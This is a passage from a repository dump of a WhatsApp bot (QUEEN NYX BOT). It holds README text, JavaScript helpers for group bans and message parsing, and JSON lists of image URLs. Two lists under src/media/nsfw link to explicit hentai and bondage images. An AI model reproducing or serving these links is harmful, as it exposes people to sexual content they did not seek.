48 | Panel 49 | 50 | ## Watch Tutorial videos. 51 | * [![YOUTUBE](https://img.shields.io/badge/HOW_TO_DEPLOY-red?style=for-the-badge&logo=youtube&logoColor=white)](https://www.youtube.com/@prexzyvilla) 52 | 53 | 54 | 55 | ## Contributions 56 | 57 | Contributions to QUEEN NYX BOT are welcome! If you have ideas for new features, improvements, or bug fixes, feel free to open an issue or submit a pull request.
58 | 59 | thanks to these people ; 60 | 61 | **PRECIOUS (NYX) FOR INSPIRATION** 62 | 63 | **PRECIOUS AYOMIDE** **For developing it** 64 | 65 | 66 | ## License 67 | 68 | The WhatsApp Bot QUEEN NYX BOT is released under the [MIT License](https://opensource.org/licenses/MIT). 69 | 70 | Enjoy the diverse features of the WhatsApp Bot to enhance your conversations and make your WhatsApp experience more interesting! 71 | 72 | ## Developers: 73 | 74 | -PRECIOUS AYOMIDE 75 | -------------------------------------------------------------------------------- /src/media/nsfw/gifs.json: -------------------------------------------------------------------------------- 1 | [ 2 | {"url":"https://media.discordapp.net/attachments/531827568966631425/637014480550756373/image0.gif"}, 3 | {"url":"https://media.discordapp.net/attachments/531827568966631425/616189280141967360/lusciousnet_lusciousnet_bondage-girls-in-shackles_pervifycom_2034258317.gif"}, 4 | {"url":"https://media.discordapp.net/attachments/531827568966631425/581689350186860556/MMfgQRb.gif"}, 5 | {"url":"https://media.discordapp.net/attachments/531827568966631425/581689349398069269/Stuff_celestine-lucullus-x-kuroinu-kedakaki-seijo-wa-hakudaku-ni-somaru.gif"}, 6 | {"url":"https://media.discordapp.net/attachments/531827568966631425/581689348421058562/Celestine_Lucullus_1.gif"}, 7 | {"url":"https://media.discordapp.net/attachments/531827568966631425/548738271677644810/Random_hentai_gifNB_0149.gif"}, 8 | {"url":"https://media.discordapp.net/attachments/531827568966631425/540141232861478922/3079f0822bbb2c9e081cff22f3758363.gif"}, 9 | {"url":"https://media.discordapp.net/attachments/531827568966631425/539913500722724864/cf2646eee9d96c3a1ae8d46bd064da82.png"}, 10 | {"url":"https://media.discordapp.net/attachments/527959391446761473/570389741057474574/96239a44f0f892d8157534ad7e6600bf.gif"}, 11 | {"url":"https://media.discordapp.net/attachments/527959391446761473/569504025247088672/7660786.gif"}, 12 | {"url":"https://img2.gelbooru.com/images/58/84/5884712c96853976f412f41ce0f12bb8.gif"}, 13 | {"url":"https://cdn.discordapp.com/attachments/770948564947304448/770966727809957888/kiryuuin_satsuki_and_matoi_ryuuko_kill_la_kill_drawn_by_bard_bot__489699ca07075ac0c56963fc3e28990d.gif"}, 14 | {"url":"https://cdn.discordapp.com/attachments/770948564947304448/770967592713060392/71ada0ef-dc37-4367-8253-1454dab2fa4a.gif"}, 15 | {"url":"https://cdn.discordapp.com/attachments/770948564947304448/770967946528161822/18165929.gif"}, 16 | {"url":"https://cdn.discordapp.com/attachments/770948564947304448/770968720154951680/animeblog.ru___155.gif"}, 17 | {"url":"https://cdn.discordapp.com/attachments/770948564947304448/770969248158711848/f292a76d28577acf284a8c834b008105.gif"}, 18 | {"url":"https://cdn.discordapp.com/attachments/770948564947304448/771015267542237184/672ca21e0596157bbbbb0f69a3614750.gif"}, 19 | {"url":"https://cdn.discordapp.com/attachments/770948564947304448/771024612367532082/37dab8ee-32fb-4430-b546-e78cef14ba41.gif"}, 20 | {"url":"https://cdn.discordapp.com/attachments/707201738255368194/771796761131352064/WhichAbleCoyote-mobile.gif"}, 21 | {"url":"https://cdn.discordapp.com/attachments/707201738255368194/771796813165494292/TestyIgnorantGalapagosmockingbird-mobile.gif"}, 22 | {"url":"https://cdn.discordapp.com/attachments/707201738255368194/771800866159722499/RevolvingForcefulAddax-mobile.gif"}, 23 | {"url":"https://cdn.discordapp.com/attachments/707201738255368194/771800877047873556/ReasonableLegitimateBuzzard-mobile.gif"}, 24 | {"url":"https://cdn.discordapp.com/attachments/707201738255368194/771800894765006859/ImmaculateFlawlessBlesbok-mobile.gif"}, 25 | {"url":"https://cdn.discordapp.com/attachments/707201738255368194/771800904756101180/IdleLittleArieltoucan-mobile.gif"}, 26 | {"url":"https://cdn.discordapp.com/attachments/707201738255368194/771800911446147072/HomelyAntiqueEmperorpenguin-mobile.gif"}, 27 | {"url":"https://cdn.discordapp.com/attachments/707201738255368194/771800923998781440/FirmFlawedCentipede-mobile.gif"}, 28 | {"url":"https://cdn.discordapp.com/attachments/707201738255368194/771800934144933958/DelayedSlowDamselfly-mobile.gif"}, 29 | {"url":"https://cdn.discordapp.com/attachments/707201738255368194/771800955855044668/CoordinatedSlipperyAcornwoodpecker-mobile.gif"} 30 | ] -------------------------------------------------------------------------------- /lib/ban.js: -------------------------------------------------------------------------------- 1 | const fs = require('fs'); 2 | const path = require('path'); 3 | const banFilePath = path.join(__dirname, '../data/ban.json'); 4 | 5 | // Load or Create Ban List 6 | const loadBanList = () => { 7 | if (!fs.existsSync(banFilePath)) fs.writeFileSync(banFilePath, '{}'); 8 | return JSON.parse(fs.readFileSync(banFilePath)); 9 | }; 10 | 11 | // Save Ban List 12 | const saveBanList = (banList) => { 13 | fs.writeFileSync(banFilePath, JSON.stringify(banList, null, 2)); 14 | }; 15 | 16 | // Function to Ban a User 17 | const banUser = async (m, PrexzyVilla) => { 18 | if (!m.isGroup) return; 19 | const text = m.message?.conversation || m.message?.extendedTextMessage?.text || ''; 20 | if (!text.startsWith('.ban')) return; 21 | 22 | let numberToBan = ''; 23 | 24 | if (m.message?.extendedTextMessage?.contextInfo?.quotedMessage) { 25 | numberToBan = m.message.extendedTextMessage.contextInfo.participant.split('@')[0]; 26 | } else if (m.message?.extendedTextMessage?.contextInfo?.mentionedJid?.length > 0) { 27 | numberToBan = m.message.extendedTextMessage.contextInfo.mentionedJid[0].split('@')[0]; 28 | } 29 | 30 | if (!numberToBan) return PrexzyVilla.sendMessage(m.chat, { text: 'Mention or reply to the user you want to ban.' }); 31 | 32 | const banList = loadBanList(); 33 | banList[numberToBan] = true; 34 | saveBanList(banList); 35 | 36 | await PrexzyVilla.sendMessage(m.chat, { 37 | text: `🚫 User @${numberToBan} has been banned from sending messages!`, 38 | contextInfo: { mentionedJid: [`${numberToBan}@s.whatsapp.net`] } 39 | }); 40 | }; 41 | 42 | // Function to Unban a User 43 | const unbanUser = async (m, PrexzyVilla) => { 44 | if (!m.isGroup) return; 45 | const text = m.message?.conversation || m.message?.extendedTextMessage?.text || ''; 46 | if (!text.startsWith('.unban')) return; 47 | 48 | let numberToUnban = ''; 49 | 50 | if (m.message?.extendedTextMessage?.contextInfo?.quotedMessage) { 51 | numberToUnban = m.message.extendedTextMessage.contextInfo.participant.split('@')[0]; 52 | } else if (m.message?.extendedTextMessage?.contextInfo?.mentionedJid?.length > 0) { 53 | numberToUnban = m.message.extendedTextMessage.contextInfo.mentionedJid[0].split('@')[0]; 54 | } 55 | 56 | if (!numberToUnban) return PrexzyVilla.sendMessage(m.chat, { text: 'Mention or reply to the user you want to unban.' }); 57 | 58 | const banList = loadBanList(); 59 | delete banList[numberToUnban]; 60 | saveBanList(banList); 61 | 62 | await PrexzyVilla.sendMessage(m.chat, { 63 | text: `✅ User @${numberToUnban} has been unbanned!`, 64 | contextInfo: { mentionedJid: [`${numberToUnban}@s.whatsapp.net`] } 65 | }); 66 | }; 67 | 68 | // Function to Auto-Delete Messages of Banned Users 69 | const checkBannedUsers = async (m, PrexzyVilla) => { 70 | if (!m.isGroup) return; 71 | const banList = loadBanList(); 72 | const senderNumber = m.sender.split('@')[0]; 73 | 74 | if (banList[senderNumber]) { 75 | console.log(`🚫 Deleting message from banned user @${senderNumber}`); 76 | await PrexzyVilla.sendMessage(m.chat, { delete: m.key }); 77 | } 78 | }; 79 | 80 | // Listen for Ban, Unban & Auto-Delete Messages 81 | module.exports = (PrexzyVilla) => { 82 | PrexzyVilla.ev.on('messages.upsert', async ({ messages }) => { 83 | if (!messages || !messages[0]) return; 84 | const m = messages[0]; 85 | 86 | await banUser(m, PrexzyVilla); 87 | await unbanUser(m, PrexzyVilla); 88 | await checkBannedUsers(m, PrexzyVilla); 89 | }); 90 | }; -------------------------------------------------------------------------------- /functions.js: -------------------------------------------------------------------------------- 1 | const axios = require("axios") 2 | const chalk = require("chalk") 3 | const fetch = require("node-fetch") 4 | const fs = require("fs") 5 | const Jimp = require("jimp") 6 | const moment = require("moment-timezone") 7 | 8 | exports.getGroupAdmins = function(participants){ let admins = []; for (let i of participants) { i.admin !== null ? admins.push(i.id) : '' } return admins } 9 | exports.fetchJson = fetchJson = (url, options) => new Promise(async (resolve, reject) => { fetch(url, options).then(response => response.json()).then(json => { resolve(json)}).catch((err) => { reject(err)})}) 10 | exports.reSize = (buffer, ukur1, ukur2) => { 11 | return new Promise(async(resolve, reject) => { 12 | var baper = await Jimp.read(buffer); 13 | var ab = await baper.resize(ukur1, ukur2).getBufferAsync(Jimp.MIME_JPEG) 14 | resolve(ab) 15 | }) 16 | } 17 | exports.sleep = async (ms) => { 18 | return new Promise(resolve => setTimeout(resolve, ms)); 19 | } 20 | exports.generateProfilePicture = async(buffer) => { 21 | const jimp_1 = await Jimp.read(buffer); 22 | const resz = jimp_1.getWidth() > jimp_1.getHeight() ? jimp_1.resize(550, Jimp.AUTO) : jimp_1.resize(Jimp.AUTO, 650) 23 | const jimp_2 = await Jimp.read(await resz.getBufferAsync(Jimp.MIME_JPEG)); 24 | return { 25 | img: await resz.getBufferAsync(Jimp.MIME_JPEG) 26 | } 27 | } 28 | exports.getImg = async (url, options) => { 29 | try { 30 | options ? options : {} 31 | const res = await axios({ 32 | method: "get", 33 | url, 34 | headers: { 35 | 'DNT': 1, 36 | 'Upgrade-Insecure-Request': 1 37 | }, 38 | ...options, 39 | responseType: 'arraybuffer' 40 | }) 41 | return res.data 42 | } catch (err) { 43 | return err 44 | } 45 | } 46 | exports.runtime = function(seconds) { 47 | seconds = Number(seconds); 48 | var d = Math.floor(seconds / (3600 * 24)); 49 | var h = Math.floor(seconds % (3600 * 24) / 3600); 50 | var m = Math.floor(seconds % 3600 / 60); 51 | var s = Math.floor(seconds % 60); 52 | var dDisplay = d > 0 ? d + (d == 1 ? " Hari, " : " Hari, ") : ""; 53 | var hDisplay = h > 0 ? h + (h == 1 ? " Jam, " : " Jam, ") : ""; 54 | var mDisplay = m > 0 ? m + (m == 1 ? " Menit, " : " Menit, ") : ""; 55 | var sDisplay = s > 0 ? s + (s == 1 ? " Detik" : " Detik") : ""; 56 | return dDisplay + hDisplay + mDisplay + sDisplay; 57 | } 58 | exports.tanggal = (numer) => { 59 | myMonths = ["𝖩𝖺𝗇𝗎𝖺𝗋𝗂","𝖥𝖾𝖻𝗋𝗎𝖺𝗋𝗂","𝖬𝖺𝗋𝖾𝗍","𝖠𝗉𝗋𝗂𝗅","𝖬𝖾𝗂","𝖩𝗎𝗇𝗂","𝖩𝗎𝗅𝗂","𝖠𝗀𝗎𝗌𝗍𝗎𝗌","𝖲𝖾𝗉𝗍𝖾𝗆𝖻𝖾𝗋","𝖮𝗄𝗍𝗈𝖻𝖾𝗋","𝖭𝗈𝗏𝖾𝗆𝖻𝖾𝗋","𝖣𝖾𝗌𝖾𝗆𝖻𝖾𝗋"]; 60 | myDays = ['𝖬𝗂𝗇𝗀𝗀𝗎','𝖲𝖾𝗇𝗂𝗇','𝖲𝖾𝗅𝖺𝗌𝖺','𝖱𝖺𝖻𝗎','𝖪𝖺𝗆𝗂𝗌','𝖩𝗎𝗆𝖺𝗍','𝖲𝖺𝖻𝗍𝗎']; 61 | var tgl = new Date(numer); 62 | var day = tgl.getDate() 63 | bulan = tgl.getMonth() 64 | var thisDay = tgl.getDay(), 65 | thisDay = myDays[thisDay]; 66 | var yy = tgl.getYear() 67 | var year = (yy < 1000) ? yy + 1900 : yy; 68 | const time = moment.tz('Asia/Jakarta').format('DD/MM HH:mm:ss') 69 | let d = new Date 70 | let locale = 'id' 71 | let gmt = new Date(0).getTime() - new Date('1 January 1970').getTime() 72 | let weton = ['Pahing', 'Pon','Wage','Kliwon','Legi'][Math.floor(((d * 1) + gmt) / 84600000) % 5] 73 | return`Pukul Wib : *${moment.tz('Asia/Jakarta').format('HH:mm:ss')}*\nPukul Wita : *${moment.tz('Asia/Makassar').format('HH:mm:ss')}*\nPukul Wit : *${moment.tz('Asia/Jayapura').format('HH:mm:ss')}*\nTanggal : *${thisDay}, ${day} ${myMonths[bulan]} ${year}*` 74 | } 75 | 76 | let file = require.resolve(__filename) 77 | fs.watchFile(file, () => { 78 | fs.unwatchFile(file) 79 | console.log(chalk.redBright(`Update ${__filename}`)) 80 | delete require.cache[file] 81 | require(file) 82 | }) -------------------------------------------------------------------------------- /myfunc.js: -------------------------------------------------------------------------------- 1 | const { proto, delay, getContentType } = require('@adiwajshing/baileys') 2 | const chalk = require('chalk') 3 | const fs = require('fs') 4 | const Crypto = require('crypto') 5 | const axios = require('axios') 6 | 7 | exports.smsg = (client, m, store) => { 8 | if (!m) return m 9 | let M = proto.WebMessageInfo 10 | if (m.key) { 11 | m.id = m.key.id 12 | m.isBaileys = m.id.startsWith('BAE5') && m.id.length === 16 13 | m.chat = m.key.remoteJid 14 | m.fromMe = m.key.fromMe 15 | m.isGroup = m.chat.endsWith('@g.us') 16 | m.sender = client.decodeJid(m.fromMe && client.user.id || m.participant || m.key.participant || m.chat || '') 17 | if (m.isGroup) m.participant = client.decodeJid(m.key.participant) || '' 18 | } 19 | if (m.message) { 20 | m.mtype = getContentType(m.message) 21 | m.msg = (m.mtype == 'viewOnceMessage' ? m.message[m.mtype].message[getContentType(m.message[m.mtype].message)] : m.message[m.mtype]) 22 | 23 | m.body = m.message.conversation || m.msg.caption || m.msg.text || (m.mtype == 'listResponseMessage') && m.msg.singleSelectReply.selectedRowId || (m.mtype == 'buttonsResponseMessage') && m.msg.selectedButtonId || (m.mtype == 'viewOnceMessage') && m.msg.caption || m.text 24 | let quoted = m.quoted = m.msg.contextInfo ? m.msg.contextInfo.quotedMessage : null 25 | m.mentionedJid = m.msg.contextInfo ? m.msg.contextInfo.mentionedJid : [] 26 | if (m.quoted) { 27 | let type = getContentType(quoted) 28 | m.quoted = m.quoted[type] 29 | if (['productMessage'].includes(type)) { 30 | type = getContentType(m.quoted) 31 | m.quoted = m.quoted[type] 32 | } 33 | if (typeof m.quoted === 'string') m.quoted = { 34 | text: m.quoted 35 | } 36 | m.quoted.mtype = type 37 | m.quoted.id = m.msg.contextInfo.stanzaId 38 | m.quoted.chat = m.msg.contextInfo.remoteJid || m.chat 39 | m.quoted.isBaileys = m.quoted.id ? m.quoted.id.startsWith('BAE5') && m.quoted.id.length === 16 : false 40 | m.quoted.sender = client.decodeJid(m.msg.contextInfo.participant) 41 | m.quoted.fromMe = m.quoted.sender === (client.user && client.user.id) 42 | m.quoted.text = m.quoted.text || m.quoted.caption || m.quoted.conversation || m.quoted.contentText || m.quoted.selectedDisplayText || m.quoted.title || '' 43 | m.quoted.mentionedJid = m.msg.contextInfo ? m.msg.contextInfo.mentionedJid : [] 44 | m.getQuotedObj = m.getQuotedMessage = async () => { 45 | if (!m.quoted.id) return false 46 | let q = await store.loadMessage(m.chat, m.quoted.id, client) 47 | return exports.smsg(client, q, store) 48 | } 49 | let vM = m.quoted.fakeObj = M.fromObject({ 50 | key: { 51 | remoteJid: m.quoted.chat, 52 | fromMe: m.quoted.fromMe, 53 | id: m.quoted.id 54 | }, 55 | message: quoted, 56 | ...(m.isGroup ? { participant: m.quoted.sender } : {}) 57 | }) 58 | m.quoted.delete = () => client.sendMessage(m.quoted.chat, { delete: vM.key }) 59 | m.quoted.download = () => client.downloadMediaMessage(m.quoted) 60 | } 61 | } 62 | if (m.msg.url) m.download = () => client.downloadMediaMessage(m.msg) 63 | m.text = m.msg.text || m.msg.caption || m.message.conversation || m.msg.contentText || m.msg.selectedDisplayText || m.msg.title || '' 64 | return m 65 | } 66 | 67 | let file = require.resolve(__filename) 68 | fs.watchFile(file, () => { 69 | fs.unwatchFile(file) 70 | console.log(chalk.redBright(`Update ${__filename}`)) 71 | delete require.cache[file] 72 | require(file) 73 | }) 74 | -------------------------------------------------------------------------------- /src/media/nsfw/ahegao.json: -------------------------------------------------------------------------------- 1 | [ 2 | {"url":"https://cdn.discordapp.com/attachments/770948564947304448/770950434180956160/004-7FVbFKsy0Z0.jpg"}, 3 | {"url":"https://cdn.discordapp.com/attachments/770948564947304448/770950436122525716/3d763900d18610184bdf6cc30102150f.jpg"}, 4 | {"url":"https://cdn.discordapp.com/attachments/770948564947304448/770950437880856586/3ec23da409a88cbf4bc7daaaf9f50a3d.jpg"}, 5 | {"url":"https://cdn.discordapp.com/attachments/770948564947304448/770950439759380520/3f5a759d1dc69dd4ba188ec91c13bf15.jpg"}, 6 | {"url":"https://cdn.discordapp.com/attachments/770948564947304448/771374076270215168/mogami_yoshiaki_sengoku_collection_drawn_by_r44__sample-8869386742f18651f27b9844edbf8487.jpg"}, 7 | {"url":"https://cdn.discordapp.com/attachments/770948564947304448/771374106959544328/0d8f82d2190ab34a58dfdf70379d48bd.jpg"}, 8 | {"url":"https://cdn.discordapp.com/attachments/770948564947304448/771374111305629696/0a35ad05c6d3d2dcce8ee41eafc1c1da.jpg"}, 9 | {"url":"https://cdn.discordapp.com/attachments/770948564947304448/771374110911234088/00ceb0c2-a234-4489-aaf3-fd92d702dec4.gif"}, 10 | {"url":"https://cdn.discordapp.com/attachments/770948564947304448/771374114480455750/0a748ce5-fa8d-4893-ac86-21100d4d8111.jpg"}, 11 | {"url":"https://cdn.discordapp.com/attachments/770948564947304448/771374115902717952/0a823293ae6d73a5a551ed96d395c085.jpg"}, 12 | {"url":"https://cdn.discordapp.com/attachments/770948564947304448/771374115902717952/0a823293ae6d73a5a551ed96d395c085.jpg"}, 13 | {"url":"https://cdn.discordapp.com/attachments/770948564947304448/771374197708554250/01737-B-z634ccruw.jpg"}, 14 | {"url":"https://cdn.discordapp.com/attachments/770948564947304448/771374561265713192/435-RqgSoMmr39U.jpg"}, 15 | {"url":"https://cdn.discordapp.com/attachments/770948564947304448/771374616014225458/446-tm6e2RNhOTM.jpg"}, 16 | {"url":"https://cdn.discordapp.com/attachments/770948564947304448/771374643557695509/443-K2Hxy9c9FA.jpg"}, 17 | {"url":"https://cdn.discordapp.com/attachments/770948564947304448/771374649732104212/444-BpA5g5jM_hQ.jpg"}, 18 | {"url":"https://cdn.discordapp.com/attachments/770948564947304448/771374712139415622/431-372ilODZtDw.jpg"}, 19 | {"url":"https://cdn.discordapp.com/attachments/770948564947304448/771374715062452224/00432-I0z-TRhK0dA.jpg"}, 20 | {"url":"https://cdn.discordapp.com/attachments/770948564947304448/771374715691860008/432-99ejYgB_8EI.jpg"}, 21 | {"url":"https://cdn.discordapp.com/attachments/770948564947304448/771374719425445918/00433-D5MhVncwM40.jpg"}, 22 | {"url":"https://cdn.discordapp.com/attachments/770948564947304448/771374725652938812/434-O2p1kFgcJXM.jpg"}, 23 | {"url":"https://cdn.discordapp.com/attachments/770948564947304448/771374729382723594/435-RqgSoMmr39U.jpg"}, 24 | {"url":"https://cdn.discordapp.com/attachments/770948564947304448/771374735849816074/436-WNx39AwbeQ4.jpg"}, 25 | {"url":"https://cdn.discordapp.com/attachments/770948564947304448/771374742380609636/437-7jsAQbZCDMQ.jpg"}, 26 | {"url":"https://cdn.discordapp.com/attachments/770948564947304448/771374854036783124/429-FiCsrief79Q.jpg"}, 27 | {"url":"https://cdn.discordapp.com/attachments/770948564947304448/771374855333085194/418-WVRNSuH_xb0.jpg"}, 28 | {"url":"https://cdn.discordapp.com/attachments/770948564947304448/771374859187257424/419-PE_QlfkmVUQ.jpg"}, 29 | {"url":"https://cdn.discordapp.com/attachments/770948564947304448/771374863348662282/420-VAmqHHHKDo.jpg"}, 30 | {"url":"https://cdn.discordapp.com/attachments/770948564947304448/771374867966590996/421-Rwe6_Vfq3DM.jpg"}, 31 | {"url":"https://cdn.discordapp.com/attachments/770948564947304448/771374871719837746/422_BIuU9h5cfI.jpg"}, 32 | {"url":"https://cdn.discordapp.com/attachments/770948564947304448/771374878115889152/423-JIgerUfCsa4.jpg"}, 33 | {"url":"https://cdn.discordapp.com/attachments/770948564947304448/771374906642399252/423-U9pYBn6WlKQ.jpg"}, 34 | {"url":"https://cdn.discordapp.com/attachments/770948564947304448/771374914166587392/424-Pj94NODjZoE.jpg"}, 35 | {"url":"https://cdn.discordapp.com/attachments/770948564947304448/771374917651267624/424-qdfkiW-FP8.jpg"}, 36 | {"url":"https://cdn.discordapp.com/attachments/770948564947304448/771374927751807016/425-FqG0DXNCF_I.jpg"}, 37 | {"url":"https://cdn.discordapp.com/attachments/770948564947304448/771374935717052476/426-5x4J4OuuFDQ.jpg"}, 38 | {"url":"https://cdn.discordapp.com/attachments/770948564947304448/771374940171665446/426-drQcdvVsNnQ.jpg"}, 39 | {"url":"https://cdn.discordapp.com/attachments/770948564947304448/771374948978524161/427-YLirbUpKQeY.jpg"}, 40 | {"url":"https://cdn.discordapp.com/attachments/770948564947304448/771374956008833045/428-AAiKa5S2XDM.jpg"} 41 | ] -------------------------------------------------------------------------------- /src/media/randompics/kpop.json: -------------------------------------------------------------------------------- 1 | [ 2 | {"url":"https://i.pinimg.com/originals/3b/3d/e4/3b3de4b2a106b93461014459416aa72e.jpg"}, 3 | {"url":"https://i.pinimg.com/originals/2e/31/85/2e31859f47447f414001d5615d1f8a2a.jpg"}, 4 | {"url":"https://i.pinimg.com/originals/2c/f8/68/2cf868ec24d1518d62b6067f298e2634.jpg"}, 5 | {"url":"https://i.pinimg.com/originals/c5/f2/12/c5f212a583227bd254076e1ba8558c3a.jpg"}, 6 | {"url":"https://i.pinimg.com/originals/c1/ea/2c/c1ea2c8ff7ee1b9716955b8f8d78b1d4.jpg"}, 7 | {"url":"https://i.pinimg.com/originals/db/04/47/db04470cc3585e89cb8ac500453f36de.jpg"}, 8 | {"url":"https://i.pinimg.com/originals/2c/c6/14/2cc614349249e027c6788563346e8386.jpg"}, 9 | {"url":"https://i.pinimg.com/originals/d4/b8/fb/d4b8fbc27fed8d40e7d04edcbfe74d0e.jpg"}, 10 | {"url":"https://i.pinimg.com/originals/6e/25/e0/6e25e042b91f38e16ce2f07b9dd2a682.jpg"}, 11 | {"url":"https://i.pinimg.com/originals/43/71/6b/43716bcd5611a7d77f94f93d849ac7b6.jpg"}, 12 | {"url":"https://i.pinimg.com/originals/c4/98/c0/c498c0be6941d37f716ab366118bab5f.jpg"}, 13 | {"url":"https://i.pinimg.com/originals/5b/09/91/5b0991c9a0d0f5e1c7bb47a16f109153.jpg"}, 14 | {"url":"https://i.pinimg.com/originals/c2/67/d4/c267d4d6ab8da59ad5ba09aaea91f7dd.jpg"}, 15 | {"url":"https://i.pinimg.com/originals/0e/d0/48/0ed0481e4adc15a7ed2918715e469b93.jpg"}, 16 | {"url":"https://i.pinimg.com/originals/74/fd/cd/74fdcdccc63d629431d70b6fa270b8e3.jpg"}, 17 | {"url":"https://i.pinimg.com/originals/bc/a2/1c/bca21cc775a19e3740766d6e3d0f4b91.jpg"}, 18 | {"url":"https://i.pinimg.com/originals/8b/a5/6f/8ba56ff983e6411e04a7fc3c34cbb844.jpg"}, 19 | {"url":"https://i.pinimg.com/originals/06/21/bd/0621bd7a813b70ea82c289a4b8373cef.png"}, 20 | {"url":"https://i.pinimg.com/originals/aa/d2/b4/aad2b4ada036b8f1113764bfa50173f0.jpg"}, 21 | {"url":"https://i.pinimg.com/originals/1f/ad/bc/1fadbc08af83ca5be503d31cff22189f.jpg"}, 22 | {"url":"https://i.pinimg.com/originals/51/60/21/516021decd8a9be4261b0242b0488ee2.jpg"}, 23 | {"url":"https://i.pinimg.com/originals/19/18/d4/1918d44c65f876d0c9b70c7c7da0b899.jpg"}, 24 | {"url":"https://i.pinimg.com/originals/3a/a5/2d/3aa52d9ce041a5b7fe9640df6e5ddcda.png"}, 25 | {"url":"https://i.pinimg.com/originals/3a/92/a3/3a92a3121f34286b627453f7e2b62544.jpg"}, 26 | {"url":"https://i.pinimg.com/originals/a4/fd/58/a4fd5845de33b6b54c19a4bd3ad28a00.jpg"}, 27 | {"url":"https://i.pinimg.com/originals/82/61/4b/82614b4b57fde3e219b8bd9a0ef4f9c4.jpg"}, 28 | {"url":"https://i.pinimg.com/originals/a8/68/14/a86814c0173ae445ec51a034aeccd133.jpg"}, 29 | {"url":"https://i.pinimg.com/originals/d5/4d/98/d54d981b3022a37011518b3e11e1da13.jpg"}, 30 | {"url":"https://i.pinimg.com/originals/d2/c4/f1/d2c4f1fba5161a2df3399a93f44189cd.jpg"}, 31 | {"url":"https://i.pinimg.com/originals/ae/18/96/ae189621a67204e88d1f168166db4822.jpg"}, 32 | {"url":"https://i.pinimg.com/originals/65/75/d2/6575d20651e4b7711594d7d2a056852c.jpg"}, 33 | {"url":"https://i.pinimg.com/originals/fe/2a/8e/fe2a8ebc90c1c67e24a566b2973ef313.jpg"}, 34 | {"url":"https://i.pinimg.com/originals/3c/bc/a2/3cbca2ad1b4f221c5cf7e3d2e22bd7b7.jpg"}, 35 | {"url":"https://i.pinimg.com/originals/e1/99/55/e19955753404f4c4556c9bb4e2c27215.jpg"}, 36 | {"url":"https://i.pinimg.com/originals/83/b2/21/83b221a6b526ead58d424d12b03f0a4d.jpg"}, 37 | {"url":"https://i.pinimg.com/originals/c8/1d/92/c81d925097ce0624ae4483292f3fe3f2.jpg"}, 38 | {"url":"https://i.pinimg.com/originals/d2/6e/2f/d26e2f7af0ca0e128072fb745fa16793.jpg"}, 39 | {"url":"https://i.pinimg.com/originals/a3/6f/a3/a36fa3c9a9841419e527c5e0b50a4f30.jpg"}, 40 | {"url":"https://i.pinimg.com/originals/24/22/f7/2422f75abb17b52f858c1c80b48914aa.jpg"}, 41 | {"url":"https://i.pinimg.com/originals/ce/17/68/ce1768a5cb1b47ff8efe293519e19785.jpg"}, 42 | {"url":"https://i.pinimg.com/originals/59/da/18/59da18e8708c9e80b0928336bfa6ac2d.jpg"}, 43 | {"url":"https://i.pinimg.com/originals/dc/ac/24/dcac24179f441de5c0d55878f656e4e8.jpg"}, 44 | {"url":"https://i.pinimg.com/originals/cd/d0/5e/cdd05ed4527b1b69e575bb0517ad6faf.jpg"}, 45 | {"url":"https://i.pinimg.com/originals/e3/74/88/e37488f2b546e7cb05eff65fa81aaed6.jpg"}, 46 | {"url":"https://i.pinimg.com/originals/9c/1c/26/9c1c269e6a9000ba9e5ae095369732e7.jpg"}, 47 | {"url":"https://i.pinimg.com/originals/0e/a0/63/0ea063ad814ef7b55ed6d9522d388e18.jpg"}, 48 | {"url":"https://i.pinimg.com/originals/24/c7/f3/24c7f3039f90383472e400182ac483df.jpg"}, 49 | {"url":"https://i.pinimg.com/originals/55/9f/56/559f56a5053ea2af57e0b2598d3d2a77.jpg"}, 50 | {"url":"https://i.pinimg.com/originals/1e/a1/09/1ea109b6b489dda00fa1d83577ae062d.jpg"}, 51 | {"url":"https://i.pinimg.com/originals/32/06/97/320697949d284e2b1026a5036b7bf13a.jpg"}, 52 | {"url":"https://i.pinimg.com/originals/a2/0c/60/a20c6058b2b2a3f1258cd93d852925ed.jpg"}, 53 | {"url":"https://i.pinimg.com/originals/b8/aa/e2/b8aae285a0b0691974512b86cc67f87c.jpg"} 54 | ] 55 | -------------------------------------------------------------------------------- /src/media/tiktokpics/indonesia.json: -------------------------------------------------------------------------------- 1 | [ 2 | {"url":"https://preview.redd.it/qdiz81fgkax91.jpg?width=1080&format=pjpg&auto=webp&s=ddc1c9d63aa4bc68307a8569a849da6910c4c540"}, 3 | {"url":"https://preview.redd.it/5cuzc2xhkax91.jpg?width=769&format=pjpg&auto=webp&s=9482beceadeb618ce038bc5d2b3abec82b0b053f"}, 4 | {"url":"https://preview.redd.it/582yxyvjkax91.jpg?width=960&crop=smart&auto=webp&s=baa318ca6df8f711190884a98b6a356590b02eb9"}, 5 | {"url":"https://preview.redd.it/86syjtmlkax91.jpg?width=640&crop=smart&auto=webp&s=6bb77579e838a2c89f94359ed624e101db93d1ba"}, 6 | {"url":"https://preview.redd.it/sh1zc1knkax91.jpg?width=800&format=pjpg&auto=webp&s=bf410d213036c79ddbc0ef905dab2c65172ead69"}, 7 | {"url":"https://preview.redd.it/2a42vkxrkax91.jpg?width=640&crop=smart&auto=webp&s=36d619c4b67094ece984f6b0c339c77c7aea8039"}, 8 | {"url":"https://preview.redd.it/dtv6ukttkax91.jpg?width=960&crop=smart&auto=webp&s=936083d2515475d894bb4e226bdb60ba6cddd1e1"}, 9 | {"url":"https://preview.redd.it/vx0fnfrvkax91.jpg?width=935&format=pjpg&auto=webp&s=f5c3cc980260fed3423c54067907217638b52a65"}, 10 | {"url":"https://preview.redd.it/b86ho75ykax91.jpg?width=640&crop=smart&auto=webp&s=27166615adee8f0b7bcb44360035480a50cecbfe"}, 11 | {"url":"https://preview.redd.it/9oam2fs2lax91.jpg?width=640&crop=smart&auto=webp&s=63c87b879ad296f11f62e461be320679612123fa"}, 12 | {"url":"https://preview.redd.it/l1yfkit0lax91.jpg?width=640&crop=smart&auto=webp&s=6b18fa8fa2cc222bb3ef1fe06c30bf824d5bfe8d"}, 13 | {"url":"https://preview.redd.it/d496tqu4lax91.jpg?width=960&crop=smart&auto=webp&s=83cfef3d6620bbba09861e92a8947e89d6b0baf0"}, 14 | {"url":"https://preview.redd.it/dng2p1u6lax91.jpg?width=960&crop=smart&auto=webp&s=a32f0295eb52c26125e1b7e8b9eff686c229af8a"}, 15 | {"url":"https://preview.redd.it/xh4nzc89lax91.jpg?width=960&crop=smart&auto=webp&s=a8fb5e016c2977c5c0366c3611955dec244239b7"}, 16 | 